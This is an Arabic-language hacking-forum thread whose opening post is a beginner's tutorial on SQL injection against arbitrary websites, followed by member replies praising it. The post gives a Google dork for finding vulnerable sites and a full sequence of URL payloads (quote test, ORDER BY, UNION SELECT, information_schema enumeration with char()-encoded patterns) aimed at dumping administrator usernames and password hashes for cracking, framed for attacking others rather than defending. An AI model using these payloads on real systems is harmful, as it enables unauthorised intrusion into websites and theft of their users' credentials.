نحن مع غزة
الـرئـيـسـيـة الـمـنـتـدى سـؤال & اجـابـة الـتـبـرع بـالـدم الاسـتـضـافـة هـلال لـيـنـكـس الـقـرآن الـكـريـم Dz-SeC team


التسجيل في المنتدى غير متاح حاليا, اذا كنت ترغب في الحصول على عضوية ارجو مراسلتي على البريد الالكتروني "[email protected]"


مطلوب مشرفين على كامل اقسام المنتدى


أخي / أختي , إن تسجيل عضوية جديدة في منتدى شبكة الجزائر للجميع لا يهدف إلى زيادة الأعضاء مطلقا
فلا خير في عضوية عدد مشاركاتها صفرا فنحن نرفض يوميا الكثير من العضويات المشكوك في أمرها
سواء كان هدفها الإعلانات الغير شرعية أو تخريب الموضوعات الخ , كل هذا حتى يبقى المنتدى
ساحة جادة عطرة تجود بالخير لكل زوارها وأعضائها
وصدقة جارية لكل من يشارك في كتابة معلومة تفيد غيره سوف يشكر الله عليها وهو في جوف الأرض ...

لذلك نطلب منك التسجيل بل ونلح عليك إن كان هدفك هو أن تصنع صدقة جارية لا تنقطع إلى يوم الدين بمساعدة إخوانك في نشر الخير .

للتسجيل اضغط هنا وأملأ البينات المطلوبة بشكل صحيح ومن ثم انتظر حتى نقوم بتفعيل حسابك وابدأ رحلتك في صناعة صدقة جارية .

وتذكر قول سيد الخلق " إذا مات ابن آدم انقطع عمله إلا من ثلاث صدقة جارية أو علم ينتفع به أو ولدٍ صالح يدعو له "

   

[ منتدى حـقن قواعد البيانات | Sql injcetion ] قسم يهتم باهم ثـغرات الحقن .. حقن قواعد البيانات واهم الطرق المستعملة في ذلـك ,

إضافة رد
 
أدوات الموضوع انواع عرض الموضوع
قديم 17/09/2010, 10:18   المشاركة رقم: 1
المعلومات
الكاتب:
 Ev!LScR!pT_Dz  
اللقب:
عضــــو جديــــد
الصورة الرمزية
 
الصورة الرمزية Ev!LScR!pT_Dz

البيانات
التسجيل : Aug 2010
العضوية : 460
العمر : 32
الاهتمامات : اختراق المواقع والسيرفرات
الإقامة : الجزائر الحبيبة
المواضيع : 34
الردود : 217
المجموع : 251
بمعدل : 0.04 يوميا
الاختراقات : [Ev!LScR!pT_Dz]
مجتمعنا : []
الصنف : Gray Hat Hacker
آخر تواجد : 29/07/2012/16:15
سبب الغياب : كون نغيب يوم على المنتدى نموت.
معدل التقييم: 16
نقاط التقييم: 10
Ev!LScR!pT_Dz is on a distinguished road
شكراً: 1
تم شكره 34 مرة في 20 مشاركة

 Algeria


الإتصالات
الحالة:
Ev!LScR!pT_Dz غير متواجد حالياً
وسائل الإتصال:

Talking **ادخل واحترف الحقن**

بسـم اللـه الرحمـن الـرحيـم
امـا بعـد اليـوم حـبيـت انـزل للاعضاء الكرام درس خفيـف وبنفس الوقـت معـروف عنـد اكثرنـا بس يجهلـه المـبـتـدأيـن.
طبعـا اليـوم راح اتكلـم عـن مبـادئ واسـاسيـات SQL وكمـا تسمـى حقـن قواعد البيانات وطبعـا زي ما تشوفون جميع مواقع السيكورتي كلهـا مليـانـه مـن هالثغـرات ...
و على بركة الله نبدا الدرس:

اول شي ...
راح تقول كيف راح اعرف المواقع المصابة:
راح اقولك:
خذ هذا الدورك وضعه في محرك البحث قوقل:
inurl:index.php?id=
ليس من الضروري ها الدروك توجد الكثر منها وواضعه الاخ :

S-japonia33
اوك الان انت قمت باستخراج جميع المواقع المصابة بالثغرة اللي بحثت بيها انت راح تستغرب انت وراح يجيك اكثر من 100 موقع مصاب .
ثاني شي...
راح تقولي يا حمزة كيف راح اعرف انو الموقع مصاب؟؟؟
انا راح اقولك كيف:
مثلا انت اخترت موقع و رابط الموقع راح يكون كالتالي:
dz-sec team.com/index.php?id=10
نـرى ان امـتـداد الصفحـه php وبعـدهـ id وطبعـا id هـو متغيـر يعني مو شـرط انـه يكـون id في مثلا CID وفي xor ... الخ على حسب السكربت و ليس من الضروري انك تلقى الرقم 10 ممكن تلقى اي رقم.
و طبعا للتاكد من انو الموقع مصاب بثغرة ام لا نضيـف لـه قيمـه مجـهـولـه مثـلا ( ' )
نضيفهـا بعـد الـرابــط ومثـالنـا فوق يعني نضيـف هالقيمـه بعـد الرقـم [10]
طبعـا اذا هو مصـااب ستلاحـظ تظهـر لـك في وسـط الصفحـه مثـلآ :
Warning: mysql_fetch_array & Warning: mysql_result & Warning: preg_match & Warning: mysql_result
وطبعـا ليسـت محصـورهـ على هذه في بعـض الاحيـاان تظهـر على اشكـال مختلفـه ومتعـددة .
يعنـي مـن الاخيــرر : عنـدمـا تلاحـظ اي تغيـر بالصفحـه فـهـو احتمـال انـه هالموقع مصـاب بثغـرة.
طبعـا الآن لـنفرض ظهـر لـنـا خطـاء ننـتـقـل الى الخـطوة الثــاانيـه والمعـروفــه ( يوجد البعض لا يعرفها):
نضـع بعـد الرابـط مـبـاشـرة [ +order+by ] ونضـيـف بعـدهـ اي رقـم كبيـر 150 & 100 اي رقـم لكن حتـى نحـدد العـمـود المصـااب يعنـي نطبـق على مثالنـا اللي فوق:

dz-sec team.com/index.php?id=10+order+by+100
ملاحظة هامة جدا: لاتنسى ان تضـع الاشـارة ( */ ) او ( * ) او (--) بعـد الرقـم 150 وطبعـا هي على حسب الموقـع بعض المواقـع تضع هذه العـلآمـات وبعضهـا لا تستخدمهـا .. طبعـا نجـرب الثلاث حنـا حـتـى يـزول الخطـااء
طبعـا راح تظهـر لـك رسالـه الخطـااء في منتصف الصفحـه */* انـت عليـك بتقليـص العـدد [100 ] حتى يزول الخطـااء مـن منتصف الصفحـه فـل نفـرض مثـال :
dz-sec team.com/index.php?id=10+order+by+12

اهاا زال الخـطـاء عنـد رقـم 12 .
الآن ننــتـقـل الى الخـطوة الـثـالثـه :
نقـوم بمـسـح +order+by+12 وطبعـا قلنـا ان الخطـاء زال عنـد الرقـم 12 نضيـف بعـد الرابـــط +union+selcet
مثـلا على الموقـع :

dz-sec team.com/index.php?id=10+union+select+union+selcet+1,2,3,4, 5,6,7,8,9,10, 11,12
وبعـدهـا سـتـشااهــد ان العمـود ظهـر لـك في منـتـصف الصفحـه طبعـا اللي ماظهـر لـه العمـود في ثلاثـة احتمـالات
ضـع قبـل الامـر [union+selcet] في الرابـط ضـع قبلهـا وااحـد مـن الثلاث الاحتـمـاالآت التـالية:
and+1=0 او and+1=1 او and+1=2
يعني مثلا: dz-sec team.com/index.php?id=10+and+1=2+union+selcet
و تكمل مثل ماقلنا فووق.
نرجـع لـ خطواتنـا نفترض انـه طلـع العمـود المصـاب هـو رقـم ( 4 ) ننـتـقـل الى الخطـوة الرابعـة :
اللـينريده الان نعـرف اصـدار اليـوزر والقـاااعـدة مثـل ماقلنـا انـه الرقـم اللي مثلا ظهر لنـا في مـنـتـصف الصفحـه هـو :
الرقـم ( 4 ) طبعـا اللحيـن نـروح لـ الرقم ونمسحـه ونعـوض مكـانـه بـ version() او user() او database()

نرجـع نبطق على مثـالنـا اللي هو الفريق اليووم ههه:
dz-sec team.com/index.php?id=10+union+selcet+1,2,3,version(),5,6,7 ,8,9,10,11,12
هذا الامر يطلع لنا اصدار القاعدة.
و للتقليل من التعب جمعنا جميع الاوامر في امر واحد وهو التالي:
concat(user(),0x3a,version(),0x3a,database())
طبعا نضع الامر مكان العمود المصاب (4).
الامـر هذا يطلـع لنـا يـوزر واسـم واصدار القـاعـدة
راح يطلـع لنـا في الصفحـه اللحيــن اصدر القااعـدهـ يـ انـه يكـون اربعـه او خمسـه
ملاحظـه : اللي مايظهـر معـه في وسـط الصفحـه .. ارجـع ابحث مرة ثاانيـه في اعلى الصفحـه او في المـصـدر .
اللـحيـن اللي ظهــر معـه اصـدار القـاعدة ( 4 ) ومعـروف انـه تخمين وشويـة وجـع رآس بس مـع الايـام تتعـود عليهـاا ونقولو اصبر للغد انشاء الله و انزل شرح فيديو لطريقة التعامل مع الاصدار الرابع.
اما الاصدار الخامس فهو بدون تخمين ولا وجع راس.
نرجع لموضوعنا:
اول مـا تشوف اصـدار القـااعـده خمسـة على طول تروح وتضـع في اخر الرابـط :
concat(table_name,0x3a3a,column_name,0x3a3a,table_ schema)
مكـان العمـود المصـاب اللي افترضنـا انـه الرقـم ( 4 )

والامـر الثــااني : +from+information_schema.columns+where+column_name +like+char(الامـر المراد تشفيرة)
بعـا الامر مراد تشفيرة يكون بـ اخر الرابط لاكـن الكتـابـه بالعربي وضعتـه كانـه في اول الرابـط وطبعـا نعلـق على كلمـه الامر المراد تشفيرهـ طبعـا او شي لازم اشـرح لـكم الامر الاول والثــااني حتى تفهـم ما اذا اقصد في الامـر مراد تشفيره .

الامـر الاول : concat(table_name,0x3a3a,column_name,0x3a3a,table_ schema)
concat: هذا يدمج الاشياء الي بعدو وهي table_name يعني اسم الجدول column_name يعني اسم العمود table_schema يعني نواة القاعدة

الامـر الثـانـي : +from+information_schema.columns+where+column_name +like+char(الامـر المراد تشفيرة)
الان نفوت للامر الثاني from يعني بالعربي (من) وهي مربوطة بالامر الي قبلها select والي هو استخراج
المقصود: و استخراج الاشياء المدموجة من information_schema.columns والي هي النواة
where يعني بالعربي ( بحيث ) .

يعني مثل مـا نقـول لـ القـاعدهـ بلغتنـا العـامـه جيبلي الاشياء المشـابـه باللي راح نضعهـا في خانـه الامر المراد تشفيـرة مثـلا الباسبورد اليوزر نشفـر ونحطـه في خاانـه ( الامر المراد تشفيره )
الامرين الذين نشفرهما %pass% و%use% تشفيـر mysql char
طبعـا نشفـر الامـر %pass% & %use% ونضعـه في الخـاانــه
لـ كي يكون الامــر بـ هذا الشكــل :
php?id=10+union+selcet+1,2,3,concat(table_name,0x3 a3a,column_name,0x3a3a,table_schema),5,6,7,8,9,10, 11,12+from+information_schema.columns+where+column _name+LIKE+char(37, 117, 115, 101, 37)
شـرح لـ اللي كتبت فوق ...
concat(table_name,0x3a3a,column_name,0x3a3a,table_ schema) هذا نضعـه مكـان العمـود المصـاب وشرحناه فوق

+from+information_schema.columns+where+column_name +LIKE+char(37, 117, 115, 101, 37) هذا اخر الرابـط وسبق شرحـه فووق

37, 117, 115, 101, 37 هذ1 تشفيـر لـ كلمـه %use% وشفـرنـاه بـ اداة HackBar تشفير mysql char

بعـد ذلـك راح يظهـر لنـا ثلاثـة اشيـاء مدموجـة مثـال كـ توضيـح :
CCC:::BBB::: AAA
وطبعـا يفـصل بينهـم بـ ( :: )
وهـي اسمـاء الاعمـدهـ والجـدوال وطبعـا هدفنـا هو استـخراج المعلومات دااخل هذة الاعمـدة والـجـدوال طبعـا اللحيـن طريقـة استخراج هذة المعلومـات .
طبعـا هدفنـا اللحيـن نطلـع المعلومـات اللي في العمـود هذا [AAAA] ويكـون بالطريقــه التـااليــه :
( ليس شرط ان يظهر هذا AAAA] هو اسم العمود ولكن للتوضيح فقط.
نكمل الان:
نضـع اللي ظهـر لنـا مكـان [ BBB ] في خانـه العمـود المصـااب ثـم نضـع ما ظهـر لنـا مكـان [ AAA ] بعـد كلمـه from ثم
نضـع نقطـه ( . ) ثـم نضـع مـاظهـر لـنـا مكـان [ CCC ] في اخر الرابـط ونضغـط انتـر يعني مثـلآ :

dz-sec team.com/index.php?id=10+union+selcet+1,2,3,BBB,5,6,7,8,9,1 0,11,12+from+AAA.CCC
وطبعـا لا ننسى في اخر الرابـط علامـات [-- ] او [*/] او[*] على حسب الموقـع .

راح يظهـر لـك الآن اسـم اليـوزر الادمـن .
Admin
اللحيــن عرفنـا اسـم اليـوزر بـاقي الـبـااس نفس طريقـة اخراج اليوزر نقوم بـ اخراج البـااس بالطريقـه التـاليــه :
dz-sec team.com/index.php?id=10+union+selcet+1,2,3,concat(table_na me,0x3 a3a,column_name,0x3a3a,table_schema),5,6,7,8,9,10, 11,12+from+information_schema.columns+where+column _name+LIKE+char(37, 112, 97, 115, 115, 37)

(37, 112, 97, 115, 115, 37)
لاحـظ هنـا قمنـا بتغيـيـر الكلمـه المراد البحث عنهـا وشفرنـاهـا طبعـا الكلمـه هي %pass%
يعني طلبنـا البحث عـن هذه الكلمـه راح يظهـر لنـا الآن نفس في الصفحــه AAA::::HHHH:::::RRRR

AAA::::HHHH:::::RRRR

طبعـا ما تحتـاج شـرح نفس الطريقـه الاولى

HHHH نضعهـا في مكـان العمـود المصــااب

RRRR نضعـهـا بعـك كلمـه from ثـم نقطـه ( . ) ثـم AAA

راح يطلـع لـك الهـاش تاع الـبـآس وطبعـا هنـا ما تحتـااج ماشاء اللـه في المنتـدى واضعين الكثير من مواقع فك الهاش لا تعـد ولا تحصى .
و ممكن في بعض الاحيان يطلعلك الباس مو مشفر.
وهنا نصل الى ختام موضوعنا وارجو ان اكون قد وفقت في شرحي هذا.
و الشرح اهداء الى:
الاخ (yasMOUH)
حبيب قلبي مدمن هكر.
و الغالي ابا معاذ.
و لا ننسى الغالي: []
و الاخ الكريم: ‏[]
و الاخ الكريم: Black-ID
و الى جميع الاعضاء الغاليين على قلبي.
و جمعة مباركة على الجميع.






آخر مواضيع » Ev!LScR!pT_Dz

توقيع : Ev!LScR!pT_Dz

dz4all is ThE NaMe AnD HaKiNg Is ThE GaMe So FoRgEt ThE Name AnD LeT'S PlaY ThE GaMe
=======
[email protected]
=====
Ev!LScR!pT_DZ
====
http://www.ping-timeout.de/sig/149.jpg
===
جميع الحقوق محفوظة للأخ رعش(*_*)

عرض البوم صور Ev!LScR!pT_Dz   رد مع اقتباس
الأعضاء الذين قالوا شكراً لـ Ev!LScR!pT_Dz على المشاركة المفيدة:
xdvb (07/02/2011)
قديم 17/09/2010, 10:21   المشاركة رقم: 2
المعلومات
الكاتب:
 ExPLo!T_Dz  
اللقب:
مشرف سابق قسم
عـالـم الـكـمـبيـوتـر والأنـتــرنــت

الإتصالات
الحالة:
ExPLo!T_Dz غير متواجد حالياً
وسائل الإتصال:

ابداع في ابداع
موضوع في منتهى الروعة
بارك الله فيك اخي حمزة

عرض البوم صور ExPLo!T_Dz   رد مع اقتباس
قديم 17/09/2010, 14:33   المشاركة رقم: 3
المعلومات
الكاتب:
 ApOcalYpse  
اللقب:

الإتصالات
الحالة:
ApOcalYpse غير متواجد حالياً
وسائل الإتصال:

ياخويا حمزة يعني عبك غير هذاك الدومين تشرح عليه
راك تشجع فيهم باش يخترقونا و لا واش ههههههه
مشكور على الشرح

عرض البوم صور ApOcalYpse   رد مع اقتباس
قديم 17/09/2010, 18:20   المشاركة رقم: 4
المعلومات
الكاتب:
  MdMn HaCk3r  
اللقب:
.: المدير السابق للمنتدى :.

الإتصالات
الحالة:
MdMn HaCk3r غير متواجد حالياً
وسائل الإتصال:

بارك الله فيك اخي حمزه
شرح رائع من شخص اروع
ان شاء الله يستفاد المبتدئين من هذا الشرح المبسط ولك احلى فايف ستار
احلى تقييم تقييم
و****ً على الاهداء

عرض البوم صور MdMn HaCk3r   رد مع اقتباس
قديم 17/09/2010, 23:15   المشاركة رقم: 5
المعلومات
الكاتب:
  WOLF_DZ  
اللقب:
.: نائب المدير :.

الإتصالات
الحالة:
WOLF_DZ غير متواجد حالياً
وسائل الإتصال:

بوركت ياحمزة على هذا المجهود الرائع
موضوع يستحق التقييم
سبقني مدمن في التقييم
**** لك اخي واصل من غير فواصل
و**** ايضا على الاهداء

عرض البوم صور WOLF_DZ   رد مع اقتباس
قديم 25/09/2010, 10:45   المشاركة رقم: 6
المعلومات
الكاتب:
 Black-ID  
اللقب:
Don'T 3ven Try

الإتصالات
الحالة:
Black-ID غير متواجد حالياً
وسائل الإتصال:

**** على الشرح الوافي و الكافي

عرض البوم صور Black-ID   رد مع اقتباس
قديم 11/12/2010, 10:46   المشاركة رقم: 7
المعلومات
الكاتب:
 hacker almooot  
اللقب:
.: مشرف قسم اختراق الاجهزة :.

الإتصالات
الحالة:
hacker almooot غير متواجد حالياً
وسائل الإتصال:

**** على الشرح الرائع

عرض البوم صور hacker almooot   رد مع اقتباس
قديم 13/12/2010, 22:40   المشاركة رقم: 8
المعلومات
الكاتب:
 Mr norvi  
اللقب:
عضــــو جديــــد

الإتصالات
الحالة:
Mr norvi غير متواجد حالياً
وسائل الإتصال:

بارك الله فيك و الله شرح مفصل

أن شاء الله يستفيد الجميع و يتعلم الحقن لانها أبسط شئ على ما أظن

عرض البوم صور Mr norvi   رد مع اقتباس
قديم 06/02/2011, 21:20   المشاركة رقم: 9
المعلومات
الكاتب:
 jokER-spY  
اللقب:
.: مشرف قسم تصاميم الهاكرز :.

الإتصالات
الحالة:
jokER-spY غير متواجد حالياً
وسائل الإتصال:

بارك الله فيك حبيبنا

عرض البوم صور jokER-spY   رد مع اقتباس
قديم 29/05/2011, 17:02   المشاركة رقم: 10
المعلومات
الكاتب:
 zerocool  
اللقب:
عضــــو جديــــد

الإتصالات
الحالة:
zerocool غير متواجد حالياً
وسائل الإتصال:

تسلم ايدك علي الشرح الكامل والوافي

عرض البوم صور zerocool   رد مع اقتباس
إضافة رد

مواقع النشر (المفضلة)


حالياً الأعضاء النشيطين الذين يشاهدون هذا الموضوع : 1 (0 عضو و 1 ضيف)
 

(أظهر الكل الأعضاء الذين قاموا بمشاهدة هذا الموضوع : 115
00X , a.s.m.a.r Hack3r , adelbm , Admin , Ameen , amrhakers , ApOcalYpse , arbi , attacker , aziz4ever , azizou , A__M__K , A£K93 , مهدي جلال , أحمد العرجان , هكرز كرز , Barhom Basri , BboyZaki , Black-ID , BlackMask , blackstars.dz , blandy26 , br0xo , cyber-crackers , Cyclone , البرنس هاشم , الكاسر أسامة , d0r , D3r K0n!G , d676a8d6019fc54cde285d76b , dabelzero , Direct hack , Dr $0uf1 , Dr.Black_ID , Dr.HaCkEr , Dr_HamZa-T , Dz-BlacK , Dz-h4cker , Dz_V!rUs , Ev!LScR!pT_Dz , eXc3lLenCe , ExPLo!T_Dz , ثائر الهوارين , fares , fire-dz , ghost-dz , Gulussa , h3xc0d.dz , hacenn , HACER DZ , hack4live , hacker almooot , HACKER==MAN , Hacker_12 , hak4 , haker aof , harris01 , HmAnA07 , hoodcrew , illuminat , خطاب , jokER-spY , JokEr2 , KaABoO HAcKeR , kadman , kamel , khalil19000 , kimou39 , kira-itachi , lemouafak , lennix , loGin.Dz , MdMn HaCk3r , Memo , microsarme6943 , Microsoft-Dz , mohmax , moja4ed_fz , Mr FaHeD , Mr norvi , Mr RaCIM , MR.KaDeRoU , n2nhacker , napster , Nassim0x09 , No MercY , o0o , omar , سردينة2009 , شزان , pal-sniper , questral , R3D 3RR0R , raouf160 , RBANDZ , rOotdz , S-japonia33 , S1LV3rS3rf3r , sa3o0ody , Smail002 , snaiper-code , TaYLoR.Dz , thewolfx , totti , toxine , Tryagy , vb-sniper , vigital , vinex23 , wald-driouch , WOLF_DZ , xdvb , X_AviaTique_X , zakistarman , zerocool

تعليمات المشاركة
لا تستطيع إضافة مواضيع جديدة
لا تستطيع الرد على المواضيع
لا تستطيع إرفاق ملفات
لا تستطيع تعديل مشاركاتك

كود [IMG] متاحة
كود HTML معطلة

الانتقال السريع

المواضيع المتشابهه
الموضوع كاتب الموضوع المنتدى مشاركات آخر مشاركة
غرفة الحقن sql BlackHunter.Dz [ منتدى حـقن قواعد البيانات | Sql injcetion ] 222 28/07/2015 17:12
جميــع ادوات الحقن SQL Injection ViRuS_Ra3cH [ منتدى الأدوات Hacking Tools ] 33 10/07/2015 05:44
برنامج الكودر لتشفير الحقن وتخطي الفلتره ... ViRuS_Ra3cH [ منتدى الأدوات Hacking Tools ] 6 08/06/2015 10:05
دورة BlaCk Dr3aM لاحتراف الحقن من الالف الى الياء ViRuS_Ra3cH [ الدورات العامة ] 5 25/09/2013 18:37
شرح لبعض الادوات التي استعملتها من قبل في الحقن ~ للمبتدئين S-japonia33 [ منتدى حـقن قواعد البيانات | Sql injcetion ] 10 29/05/2011 18:24

الساعة معتمدة بتوقيت جرينتش +1 . الساعة الآن : 23:26.
Copy Right Des 2010 - 2014 To is|sec Organization, Des By  yasMouh 
Powered By vBulletin Special Edition, Secured By Dz-SeC team
Support by Dz-SeC team




RSS RSS 2.0 XML MAP HTML



 
 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115